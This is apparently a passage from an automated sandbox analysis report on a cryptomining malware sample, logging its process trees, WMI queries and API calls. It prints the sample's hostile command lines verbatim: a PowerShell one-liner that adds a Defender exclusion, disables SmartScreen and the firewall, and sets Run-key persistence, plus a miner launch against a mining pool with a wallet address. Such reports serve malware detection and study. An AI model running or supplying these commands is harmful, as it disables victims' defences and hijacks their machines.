              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
              Source: C:\ProgramData\UpSys.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\UpSys.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxxJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxxJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxxJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxxJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\Users\user\Desktop\2dOeahdsto.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state offJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\ProgramData\Systemd\Database.exe --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxxJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM Jump to behavior
              Source: C:\ProgramData\MicrosoftNetwork\System.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exitJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\ProgramData\UpSys.exe "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\ProgramData\UpSys.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM Database.exe /F
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /IM
              Source: C:\Users\user\Desktop\2dOeahdsto.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400407D0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,35_2_00000001400407D0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140076800 OpenProcess,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,35_2_0000000140076800
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\cmd.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Database.exe")
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0kqxwzjc.egw.ps1Jump to behavior
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008A1A0 CoInitialize,CoCreateInstance,CoUninitialize,35_2_000000014008A1A0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006ECC0 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,35_2_000000014006ECC0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140087A80 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,35_2_0000000140087A80
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6188:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1212:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:416:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5596:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4200:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6744:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6868:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1388:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3004:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6576:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6248:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2780:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6984:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6520:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5068:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6600:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4860:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2964:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3160:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1352:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2420:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2992:120:WilError_01
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1380:120:WilError_01
